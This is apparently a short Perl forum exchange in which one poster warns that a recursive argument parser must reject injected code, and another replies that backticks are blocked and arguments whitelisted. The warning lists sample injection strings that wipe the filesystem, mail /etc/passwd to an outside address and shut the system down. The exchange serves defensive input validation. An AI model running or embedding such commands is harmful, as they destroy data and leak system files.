in reply to Parsing parenthetical arguments recursively

I hope you're taking care to prevent strings like:
(`rm -rf /`;) (`mail /etc/passwd me@myhost.com`;) (system "shutdown -rf";) (open ABCD, "-|", "shutdown -rf";)

------
We are the carpenters and bricklayers of the Information Age.

The idea is a little like C++ templates, except not quite so brain-meltingly complicated. -- TheDamian, Exegesis 6

Please remember that I'm crufty and crochety. All opinions are purely mine and all code is untested, unless otherwise specified.

Replies are listed 'Best First'.
Re: Re: Parsing parenthetical arguments recursively
by Moe (Novice) on Aug 15, 2003 at 17:59 UTC
    Yes.
    The 'real' version of the code disallows backticks, specifically, and only allows a very specific list of arguments to each token expression. I didn't include that part because it works, whereas the parenthetical matching does not.
    Though you did make me run each of those through as a test case, to make sure it would disallow them. Thank you.
    ~Moe~